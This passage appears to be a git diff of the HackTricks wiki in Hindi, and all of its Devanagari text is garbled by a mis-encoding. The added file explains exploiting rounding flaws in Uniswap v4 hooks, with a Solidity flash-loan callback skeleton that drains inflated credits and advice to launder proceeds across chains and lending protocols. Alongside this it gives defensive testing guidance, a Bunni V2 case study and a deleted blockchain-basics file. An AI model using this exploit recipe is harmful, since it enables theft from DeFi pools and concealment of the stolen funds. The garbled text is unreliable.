рдЕрдиреБрд░реВрдк рд╣реЛред +- рдмрд╛рдЙрдВрдбрд░реА рдХреЗ рдЖрд╕рдкрд╛рд╕ ╬Фin рдХреЛ ┬▒1 wei рд╕реЗ рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╡рд╣ рдмреНрд░рд╛рдВрдЪ рдорд┐рд▓ рд╕рдХреЗ рдЬрд╣рд╛рдБ hook рдЖрдкрдХреЗ рдкрдХреНрд╖ рдореЗрдВ рд░рд╛рдЙрдВрдб рдХрд░реЗред + +4) flash loans рдХреЗ рд╕рд╛рде рдкреНрд░рднрд╛рд╡ рдмрдврд╝рд╛рдПрдБ +- рдХрдИ iterations рдХреЛ atomic рддрд░реАрдХреЗ рд╕реЗ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдмрдбрд╝реА notional рд░рд╛рд╢рд┐ рдЙрдзрд╛рд░ рд▓реЗрдВ (рдЙрджрд╛., 3M USDT рдпрд╛ 2000 WETH)ред +- calibrated swap loop рдХреЛ execute рдХрд░реЗрдВ, рдлрд┐рд░ flash loan callback рдХреЗ рдЕрдВрджрд░ withdraw рдФрд░ repay рдХрд░реЗрдВред + +Aave V3 flash loan рдХрд╛ рдврд╛рдВрдЪрд╛ +```solidity +function executeOperation( +address[] calldata assets, +uint256[] calldata amounts, +uint256[] calldata premiums, +address initiator, +bytes calldata params +) external returns (bool) { +// run thresholdтАСcrossing swap loop here +for (uint i; i < N; ++i) { +_exactInBoundaryCrossingSwap(); +} +// realize credits / withdraw inflated balances +bunniHook.withdrawCredits(address(this)); +// repay +for (uint j; j < assets.length; ++j) { +IERC20(assets[j]).approve(address(POOL), amounts[j] + premiums[j]); +} +return true; +} +``` +5) рдирд┐рдХрд╛рд╕ рдФрд░ рдХреНрд░реЙрд╕тАСрдЪреЗрди рдкреНрд░рддрд┐рдХрд░рдг +- рдпрджрд┐ hooks рдХрдИ chains рдкрд░ рдкрд░рд┐рдирд┐рдпреЛрдЬрд┐рдд рд╣реИрдВ, рддреЛ рдкреНрд░рддреНрдпреЗрдХ chain рдХреЗ рд▓рд┐рдП рд╡рд╣реА calibration рджреЛрд╣рд░рд╛рдПрдБред +- Bridge proceeds back to the target chain рдФрд░ рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ рдлреНрд▓реЛ рдХреЛ рдЕрд╕реНрдкрд╖реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП lending protocols рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЪрдХреНрд░рд┐рдд рдХрд░реЗрдВред + +## Common root causes in hook math + +- Mixed rounding semantics: mulDiv floors рдЬрдмрдХрд┐ рдмрд╛рдж рдХреЗ рд░рд╛рд╕реНрддреЗ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ round up рдХрд░рддреЗ рд╣реИрдВ; рдпрд╛ token/liquidity рдХреЗ рдмреАрдЪ conversions рдореЗрдВ рдЕрд▓рдЧ рд░рд╛рдЙрдВрдбрд┐рдВрдЧ рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИред +- Tick alignment errors: рдПрдХ path рдореЗрдВ unrounded ticks рдХрд╛ рдЙрдкрдпреЛрдЧ рдФрд░ рджреВрд╕рд░реЗ рдореЗрдВ tickтАСspaced roundingред +- BalanceDelta sign/overflow issues рдЬрдм settlement рдХреЗ рджреМрд░рд╛рди int256 рдФрд░ uint256 рдХреЗ рдмреАрдЪ conversion рд╣реЛрддрд╛ рд╣реИред +- Precision loss in Q64.96 conversions (sqrtPriceX96) рдЬреЛ reverse mapping рдореЗрдВ рдкреНрд░рддрд┐рдмрд┐рдВрдмрд┐рдд рдирд╣реАрдВ рд╣реЛрддрд╛ред +- Accumulation pathways: perтАСswap remainders рдХреЛ credits рдХреЗ рд░реВрдк рдореЗрдВ рдЯреНрд░реИрдХ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЬреЛ caller рджреНрд╡рд╛рд░рд╛ withdrawable рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдмрдЬрд╛рдп рдЗрд╕рдХреЗ рдХрд┐ рд╡реЗ burned/zeroтАСsum рд╣реЛрдВред + +## Defensive guidance + +- Differential testing: hook рдХреА math рдХреЛ рдПрдХ reference implementation рдХреЗ рд╕рд╛рде highтАСprecision rational arithmetic рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ mirror рдХрд░реЗрдВ рдФрд░ equality рдпрд╛ bounded error рдХреЛ assert рдХрд░реЗрдВ рдЬреЛ рд╣рдореЗрд╢рд╛ adversarial рд╣реЛ (рдХрднреА caller рдХреЗ рдкрдХреНрд╖ рдореЗрдВ рдирд╣реАрдВ)ред +- Invariant/property tests: +- swap paths рдФрд░ hook adjustments рдореЗрдВ deltas (tokens, liquidity) рдХрд╛ рдпреЛрдЧ fees рдХреЗ рдореЛрдбреНрдпреВрд▓реЛ рдХреЗ рд╕рд╛рдкреЗрдХреНрд╖ рд╡реИрд▓реНрдпреВ рдХреЛ рд╕рдВрд░рдХреНрд╖рд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред +- рдХрд┐рд╕реА рднреА path рдХреЛ repeated exactInput iterations рдХреЗ рджреМрд░рд╛рди swap initiator рдХреЗ рд▓рд┐рдП positive net credit рдирд╣реАрдВ рдмрдирд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред +- ┬▒1 wei рдЗрдирдкреБрдЯ рдХреЗ рдЖрд╕рдкрд╛рд╕ threshold/tick boundary tests рдЪрд▓рд╛рдПрдБ, рджреЛрдиреЛрдВ exactInput рдФрд░ exactOutput рдХреЗ рд▓рд┐рдПред +- Rounding policy: рдРрд╕реЗ rounding helpers рдХреЛ рдХреЗрдВрджреНрд░реАрдХреГрдд рдХрд░реЗрдВ рдЬреЛ рд╣рдореЗрд╢рд╛ user рдХреЗ рдЦрд┐рд▓рд╛рдл рд░рд╛рдЙрдВрдб рдХрд░реЗрдВ; inconsistent casts рдФрд░ implicit floors рдХреЛ рд╣рдЯрд╛рдПрдБред +- Settlement sinks: рдЕрдирд┐рд╡рд╛рд░реНрдп rounding residue рдХреЛ protocol treasury рдореЗрдВ рд╕рдВрдЪрд┐рдд рдХрд░реЗрдВ рдпрд╛ рдЙрд╕реЗ burn рдХрд░реЗрдВ; рдЗрд╕реЗ рдХрднреА рднреА msg.sender рдХреЛ attribute рди рдХрд░реЗрдВред +- RateтАСlimits/guardrails: rebalancing triggers рдХреЗ рд▓рд┐рдП minimum swap sizes рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░реЗрдВ; рдпрджрд┐ deltas subтАСwei рд╣реИрдВ рддреЛ rebalances рдХреЛ disable рдХрд░реЗрдВ; deltas рдХреЛ expected ranges рдХреЗ рдЦрд┐рд▓рд╛рдл sanityтАСcheck рдХрд░реЗрдВред +- Hook callbacks рдХреА рд╕рдордЧреНрд░ рд╕рдореАрдХреНрд╖рд╛ рдХрд░реЗрдВ: beforeSwap/afterSwap рдФрд░ before/after liquidity changes рдХреЛ tick alignment рдФрд░ delta rounding рдкрд░ рд╕рд╣рдордд рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред + +## Case study: Bunni V2 (2025тАС09тАС02) + +- Protocol: Bunni V2 (Uniswap v4 hook) рдЬрд┐рд╕рдореЗрдВ рдкреНрд░рддрд┐ swap rebalancing рдХреЗ рд▓рд┐рдП рдПрдХ LDF рд▓рд╛рдЧреВ рдерд╛ред +- Root cause: thresholdтАСcrossing swaps рдХреЗ рджреМрд░рд╛рди LDF liquidity accounting рдореЗрдВ rounding/precision рддреНрд░реБрдЯрд┐; perтАСswap рдЕрд╕рдВрдЧрддрд┐рдпрд╛рдБ caller рдХреЗ рд▓рд┐рдП positive credits рдХреЗ рд░реВрдк рдореЗрдВ рдЬрдорд╛ рд╣реЛ рдЧрдпреАрдВред +- Ethereum leg: attacker рдиреЗ ~3M USDT flash loan рд▓реА, USDC/USDT рдкрд░ calibrated exactтАСinput swaps рдХрд░рдХреЗ credits рдмрдирд╛рдП, inflated balances рдирд┐рдХрд╛рд▓реЗ, repaid рдХрд┐рдпрд╛, рдФрд░ funds рдХреЛ Aave рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ route рдХрд┐рдпрд╛ред +- UniChain leg: exploit рдХреЛ 2000 WETH flash loan рдХреЗ рд╕рд╛рде рджреЛрд╣рд░рд╛рдпрд╛, рд▓рдЧрднрдЧ 1366 WETH siphon рдХрд┐рдП рдФрд░ Ethereum рдкрд░ bridge рдХрд┐рдпрд╛ред +- Impact: рд▓рдЧрднрдЧ USD 8.3M рдХрдИ chains рдореЗрдВ рдирд┐рдХрд╛рд▓реЗ рдЧрдПред рдХрд┐рд╕реА user interaction рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рдереА; рдкреВрд░реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ onтАСchain рдереАред + +## Hunting checklist + +- рдХреНрдпрд╛ pool рдХрд┐рд╕реА nonтАСzero hooks address рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ? рдХреМрди рд╕реЗ callbacks enabled рд╣реИрдВ? +- рдХреНрдпрд╛ perтАСswap redistributions/rebalances custom math рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ? рдХреЛрдИ tick/threshold logic рд╣реИ? +- divisions/mulDiv, Q64.96 conversions, рдпрд╛ SafeCast рдХрд╣рд╛рдБ рдЙрдкрдпреЛрдЧ рд╣реЛ рд░рд╣реЗ рд╣реИрдВ? рдХреНрдпрд╛ rounding semantics рд╡реИрд╢реНрд╡рд┐рдХ рд░реВрдк рд╕реЗ consistent рд╣реИрдВ? +- рдХреНрдпрд╛ рдЖрдк рдРрд╕рд╛ ╬Фin рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рд▓рдЧрднрдЧ boundary рдХреЛ рдкрд╛рд░ рдХрд░реЗ рдФрд░ favorable rounding branch рджреЗ? рджреЛрдиреЛрдВ рджрд┐рд╢рд╛рдУрдВ рдФрд░ рджреЛрдиреЛрдВ exactInput рддрдерд╛ exactOutput рдХреЗ рд▓рд┐рдП рдЯреЗрд╕реНрдЯ рдХрд░реЗрдВред +- рдХреНрдпрд╛ hook perтАСcaller credits рдпрд╛ deltas рдЯреНрд░реИрдХ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдмрд╛рдж рдореЗрдВ withdraw рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ? рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ residue neutralized рд╣реЛред + +## References + +- [Bunni V2 Exploit: $8.3M Drained via Liquidity Flaw (summary)](https://quillaudits.medium.com/bunni-v2-exploit-8-3m-drained-50acbdcd9e7b) +- [Bunni V2 Exploit: Full Hack Analysis](https://www.quillaudits.com/blog/hack-analysis/bunni-v2-exploit) +- [Uniswap v4 background (QuillAudits research)](https://www.quillaudits.com/research/uniswap-development) +- [Liquidity mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/liquidity-mechanics-in-uniswap-v4-core) +- [Swap mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/swap-mechanics-in-uniswap-v4-core) +- [Uniswap v4 Hooks and Security Considerations](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/uniswap-v4-hooks-and-security) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/blockchain-and-crypto-currencies.md b/src/crypto-and-stego/blockchain-and-crypto-currencies.md deleted file mode 100644 index dc486199b..000000000 --- a/src/crypto-and-stego/blockchain-and-crypto-currencies.md +++ /dev/null @@ -1,182 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -## рдореВрд▓ рдЕрд╡рдзрд╛рд░рдгрд╛рдПрдБ - -- **рд╕реНрдорд╛рд░реНрдЯ рдХреЙрдиреНрдЯреНрд░реИрдХреНрдЯреНрд╕** рдХреЛ рдЙрди рдкреНрд░реЛрдЧреНрд░рд╛рдореЛрдВ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдПрдХ рдмреНрд▓реЙрдХрдЪреЗрди рдкрд░ рддрдм рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддреЗ рд╣реИрдВ рдЬрдм рдХреБрдЫ рд╢рд░реНрддреЗрдВ рдкреВрд░реА рд╣реЛрддреА рд╣реИрдВ, рдордзреНрдпрд╕реНрдереЛрдВ рдХреЗ рдмрд┐рдирд╛ рд╕рдордЭреМрддреЛрдВ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рддреЗ рд╣реИрдВред -- **рд╡рд┐рдХреЗрдВрджреНрд░реАрдХреГрдд рдЕрдиреБрдкреНрд░рдпреЛрдЧ (dApps)** рд╕реНрдорд╛рд░реНрдЯ рдХреЙрдиреНрдЯреНрд░реИрдХреНрдЯреНрд╕ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд┐рдирдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЕрдиреБрдХреВрд▓ рдлреНрд░рдВрдЯ-рдПрдВрдб рдФрд░ рдкрд╛рд░рджрд░реНрд╢реА, рдСрдбрд┐рдЯ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдмреИрдХ-рдПрдВрдб рд╣реЛрддрд╛ рд╣реИред -- **рдЯреЛрдХрди рдФрд░ рд╕рд┐рдХреНрдХреЗ** рдореЗрдВ рдЕрдВрддрд░ рд╣реЛрддрд╛ рд╣реИ, рдЬрд╣рд╛рдБ рд╕рд┐рдХреНрдХреЗ рдбрд┐рдЬрд┐рдЯрд▓ рдкреИрд╕реЗ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреЗ рд╣реИрдВ, рдЬрдмрдХрд┐ рдЯреЛрдХрди рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рдВрджрд░реНрднреЛрдВ рдореЗрдВ рдореВрд▓реНрдп рдпрд╛ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВред -- **рдпреВрдЯрд┐рд▓рд┐рдЯреА рдЯреЛрдХрди** рд╕реЗрд╡рд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВ, рдФрд░ **рд╕рд┐рдХреНрдпреЛрд░рд┐рдЯреА рдЯреЛрдХрди** рд╕рдВрдкрддреНрддрд┐ рдХреЗ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддреЗ рд╣реИрдВред -- **DeFi** рдХрд╛ рдЕрд░реНрде рд╡рд┐рдХреЗрдВрджреНрд░реАрдХреГрдд рд╡рд┐рддреНрдд рд╣реИ, рдЬреЛ рдХреЗрдВрджреНрд░реАрдп рдкреНрд░рд╛рдзрд┐рдХрд░рдгреЛрдВ рдХреЗ рдмрд┐рдирд╛ рд╡рд┐рддреНрддреАрдп рд╕реЗрд╡рд╛рдПрдБ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред -- **DEX** рдФрд░ **DAOs** рдХреНрд░рдорд╢рдГ рд╡рд┐рдХреЗрдВрджреНрд░реАрдХреГрдд рдПрдХреНрд╕рдЪреЗрдВрдЬ рдкреНрд▓реЗрдЯрдлрд╛рд░реНрдореЛрдВ рдФрд░ рд╡рд┐рдХреЗрдВрджреНрд░реАрдХреГрдд рд╕реНрд╡рд╛рдпрддреНрдд рд╕рдВрдЧрдардиреЛрдВ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддреЗ рд╣реИрдВред - -## рд╕рд╣рдорддрд┐ рддрдВрддреНрд░ - -рд╕рд╣рдорддрд┐ рддрдВрддреНрд░ рдмреНрд▓реЙрдХрдЪреЗрди рдкрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рдФрд░ рд╕рд╣рдорддрд┐ рд╕реЗ рд▓реЗрдирджреЗрди рдХреА рдорд╛рдиреНрдпрддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реИрдВ: - -- **рдкреНрд░реВрдл рдСрдл рд╡рд░реНрдХ (PoW)** рд▓реЗрдирджреЗрди рдХреА рд╕рддреНрдпрд╛рдкрди рдХреЗ рд▓рд┐рдП рдХрдВрдкреНрдпреВрдЯреЗрд╢рдирд▓ рд╢рдХреНрддрд┐ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИред -- **рдкреНрд░реВрдл рдСрдл рд╕реНрдЯреЗрдХ (PoS)** рд╕рддреНрдпрд╛рдкрдирдХрд░реНрддрд╛рдУрдВ рд╕реЗ рдПрдХ рдирд┐рд╢реНрдЪрд┐рдд рдорд╛рддреНрд░рд╛ рдореЗрдВ рдЯреЛрдХрди рд░рдЦрдиреЗ рдХреА рдорд╛рдВрдЧ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ PoW рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдКрд░реНрдЬрд╛ рдХреА рдЦрдкрдд рдХреЛ рдХрдо рдХрд░рддрд╛ рд╣реИред - -## рдмрд┐рдЯрдХреЙрдЗрди рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ - -### рд▓реЗрдирджреЗрди - -рдмрд┐рдЯрдХреЙрдЗрди рд▓реЗрдирджреЗрди рдореЗрдВ рдкрддреЗ рдХреЗ рдмреАрдЪ рдзрди рдХрд╛ рд╣рд╕реНрддрд╛рдВрддрд░рдг рд╢рд╛рдорд┐рд▓ рд╣реЛрддрд╛ рд╣реИред рд▓реЗрдирджреЗрди рдХреЛ рдбрд┐рдЬрд┐рдЯрд▓ рд╣рд╕реНрддрд╛рдХреНрд╖рд░реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдорд╛рдиреНрдп рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рдХреЗрд╡рд▓ рдирд┐рдЬреА рдХреБрдВрдЬреА рдХрд╛ рдорд╛рд▓рд┐рдХ рд╣реА рд╣рд╕реНрддрд╛рдВрддрд░рдг рд╢реБрд░реВ рдХрд░ рд╕рдХрддрд╛ рд╣реИред - -#### рдкреНрд░рдореБрдЦ рдШрдЯрдХ: - -- **рдорд▓реНрдЯреАрд╕рд┐рдЧреНрдиреЗрдЪрд░ рд▓реЗрдирджреЗрди** рдХреЛ рдПрдХ рд▓реЗрдирджреЗрди рдХреЛ рдЕрдзрд┐рдХреГрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рд╣рд╕реНрддрд╛рдХреНрд╖рд░реЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред -- рд▓реЗрдирджреЗрди рдореЗрдВ **рдЗрдирдкреБрдЯ** (рдзрди рдХрд╛ рд╕реНрд░реЛрдд), **рдЖрдЙрдЯрдкреБрдЯ** (рдЧрдВрддрд╡реНрдп), **рд╢реБрд▓реНрдХ** (рдЦрдирдирдХрд░реНрддрд╛рдУрдВ рдХреЛ рднреБрдЧрддрд╛рди рдХрд┐рдпрд╛ рдЧрдпрд╛), рдФрд░ **рд╕реНрдХреНрд░рд┐рдкреНрдЯ** (рд▓реЗрдирджреЗрди рдХреЗ рдирд┐рдпрдо) рд╢рд╛рдорд┐рд▓ рд╣реЛрддреЗ рд╣реИрдВред - -### рд▓рд╛рдЗрдЯрдирд┐рдВрдЧ рдиреЗрдЯрд╡рд░реНрдХ - -рдмрд┐рдЯрдХреЙрдЗрди рдХреА рд╕реНрдХреЗрд▓реЗрдмрд┐рд▓рд┐рдЯреА рдХреЛ рдмрдврд╝рд╛рдиреЗ рдХрд╛ рд▓рдХреНрд╖реНрдп рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдПрдХ рдЪреИрдирд▓ рдХреЗ рднреАрддрд░ рдХрдИ рд▓реЗрдирджреЗрди рдХрд┐рдП рдЬрд╛ рд╕рдХреЗрдВ, рдХреЗрд╡рд▓ рдЕрдВрддрд┐рдо рд╕реНрдерд┐рддрд┐ рдХреЛ рдмреНрд▓реЙрдХрдЪреЗрди рдкрд░ рдкреНрд░рд╕рд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПред - -## рдмрд┐рдЯрдХреЙрдЗрди рдЧреЛрдкрдиреАрдпрддрд╛ рдЪрд┐рдВрддрд╛рдПрдБ - -рдЧреЛрдкрдиреАрдпрддрд╛ рд╣рдорд▓реЗ, рдЬреИрд╕реЗ **рдХреЙрдорди рдЗрдирдкреБрдЯ рдУрдирд░рд╢рд┐рдк** рдФрд░ **UTXO рдЪреЗрдВрдЬ рдПрдбреНрд░реЗрд╕ рдбрд┐рдЯреЗрдХреНрд╢рди**, рд▓реЗрдирджреЗрди рдХреЗ рдкреИрдЯрд░реНрди рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реИрдВред **рдорд┐рдХреНрд╕рд░реНрд╕** рдФрд░ **рдХреЛрдЗрдирдЬреЙрдЗрди** рдЬреИрд╕реА рд░рдгрдиреАрддрд┐рдпрд╛рдБ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдмреАрдЪ рд▓реЗрдирджреЗрди рдХреЗ рд▓рд┐рдВрдХ рдХреЛ рдЕрд╕реНрдкрд╖реНрдЯ рдХрд░рдХреЗ рдЧреБрдордирд╛рдореА рдореЗрдВ рд╕реБрдзрд╛рд░ рдХрд░рддреА рд╣реИрдВред - -## рдмрд┐рдЯрдХреЙрдЗрди рдХреЛ рдЧреБрдордирд╛рдо рд░реВрдк рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ - -рд╡рд┐рдзрд┐рдпреЛрдВ рдореЗрдВ рдирдХрдж рд╡реНрдпрд╛рдкрд╛рд░, рдЦрдирди, рдФрд░ рдорд┐рдХреНрд╕рд░реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╢рд╛рдорд┐рд▓ рд╣реИред **рдХреЛрдЗрдирдЬреЙрдЗрди** рдХрдИ рд▓реЗрдирджреЗрди рдХреЛ рдорд┐рд▓рд╛рдХрд░ рдЯреНрд░реЗрд╕рдмрд┐рд▓рд┐рдЯреА рдХреЛ рдЬрдЯрд┐рд▓ рдмрдирд╛рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ **рдкреЗ-рдЬреЙрдЗрди** рдХреЛрдЗрдирдЬреЙрдЗрди рдХреЛ рдирд┐рдпрдорд┐рдд рд▓реЗрдирджреЗрди рдХреЗ рд░реВрдк рдореЗрдВ рдЫрд┐рдкрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЧреЛрдкрдиреАрдпрддрд╛ рдмрдврд╝ рд╕рдХреЗред - -# рдмрд┐рдЯрдХреЙрдЗрди рдЧреЛрдкрдиреАрдпрддрд╛ рд╣рдорд▓реЗ - -# рдмрд┐рдЯрдХреЙрдЗрди рдЧреЛрдкрдиреАрдпрддрд╛ рд╣рдорд▓реЛрдВ рдХрд╛ рд╕рд╛рд░рд╛рдВрд╢ - -рдмрд┐рдЯрдХреЙрдЗрди рдХреА рджреБрдирд┐рдпрд╛ рдореЗрдВ, рд▓реЗрдирджреЗрди рдХреА рдЧреЛрдкрдиреАрдпрддрд╛ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЧреБрдордирд╛рдореА рдЕрдХреНрд╕рд░ рдЪрд┐рдВрддрд╛ рдХрд╛ рд╡рд┐рд╖рдп рд╣реЛрддреА рд╣реИред рдпрд╣рд╛рдБ рдХреБрдЫ рд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХреЛрдВ рдХрд╛ рд╕рд░рд▓ рдЕрд╡рд▓реЛрдХрди рд╣реИ рдЬрд┐рдирдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдмрд┐рдЯрдХреЙрдЗрди рдХреА рдЧреЛрдкрдиреАрдпрддрд╛ рдХреЛ рдЦрддрд░реЗ рдореЗрдВ рдбрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред - -## **рдХреЙрдорди рдЗрдирдкреБрдЯ рдУрдирд░рд╢рд┐рдк рдЕрдиреБрдорд╛рди** - -рдпрд╣ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рджреБрд░реНрд▓рдн рд╣реИ рдХрд┐ рд╡рд┐рднрд┐рдиреНрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдЗрдирдкреБрдЯ рдХреЛ рдПрдХ рд╣реА рд▓реЗрдирджреЗрди рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛рдП рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдореЗрдВ рдЬрдЯрд┐рд▓рддрд╛ рд╣реЛрддреА рд╣реИред рдЗрд╕рд▓рд┐рдП, **рдПрдХ рд╣реА рд▓реЗрдирджреЗрди рдореЗрдВ рджреЛ рдЗрдирдкреБрдЯ рдкрддреЗ рдЕрдХреНрд╕рд░ рдПрдХ рд╣реА рдорд╛рд▓рд┐рдХ рдХреЗ рд╣реЛрдиреЗ рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ**ред - -## **UTXO рдЪреЗрдВрдЬ рдПрдбреНрд░реЗрд╕ рдбрд┐рдЯреЗрдХреНрд╢рди** - -рдПрдХ UTXO, рдпрд╛ **рдЕрдирд╕реНрдкреЗрдВрдЯ рдЯреНрд░рд╛рдВрдЬреИрдХреНрд╢рди рдЖрдЙрдЯрдкреБрдЯ**, рдХреЛ рдПрдХ рд▓реЗрдирджреЗрди рдореЗрдВ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЦрд░реНрдЪ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдпрджрд┐ рдЗрд╕рдХрд╛ рдХреЗрд╡рд▓ рдПрдХ рднрд╛рдЧ рдХрд┐рд╕реА рдЕрдиреНрдп рдкрддреЗ рдкрд░ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╢реЗрд╖ рдПрдХ рдирдП рдЪреЗрдВрдЬ рдкрддреЗ рдкрд░ рдЬрд╛рддрд╛ рд╣реИред рдкрд░реНрдпрд╡реЗрдХреНрд╖рдХ рдпрд╣ рдорд╛рди рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдирдпрд╛ рдкрддрд╛ рднреЗрдЬрдиреЗ рд╡рд╛рд▓реЗ рдХрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЧреЛрдкрдиреАрдпрддрд╛ рдХрд╛ рдЙрд▓реНрд▓рдВрдШрди рд╣реЛрддрд╛ рд╣реИред - -### рдЙрджрд╛рд╣рд░рдг - -рдЗрд╕рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП, рдорд┐рдХреНрд╕рд┐рдВрдЧ рд╕реЗрд╡рд╛рдПрдБ рдпрд╛ рдХрдИ рдкрддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдХреЛ рдЕрд╕реНрдкрд╖реНрдЯ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред - -## **рд╕реЛрд╢рд▓ рдиреЗрдЯрд╡рд░реНрдХ рдФрд░ рдлреЛрд░рдо рдХрд╛ рдкреНрд░рджрд░реНрд╢рди** - -рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрднреА-рдХрднреА рдЕрдкрдиреЗ рдмрд┐рдЯрдХреЙрдЗрди рдкрддреЗ рдХреЛ рдСрдирд▓рд╛рдЗрди рд╕рд╛рдЭрд╛ рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ **рдкрддреЗ рдХреЛ рдЙрд╕рдХреЗ рдорд╛рд▓рд┐рдХ рд╕реЗ рдЬреЛрдбрд╝рдирд╛ рдЖрд╕рд╛рди рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ**ред - -## **рд▓реЗрдирджреЗрди рдЧреНрд░рд╛рдл рд╡рд┐рд╢реНрд▓реЗрд╖рдг** - -рд▓реЗрдирджреЗрди рдХреЛ рдЧреНрд░рд╛рдл рдХреЗ рд░реВрдк рдореЗрдВ рджреГрд╢реНрдп рд░реВрдк рдореЗрдВ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ 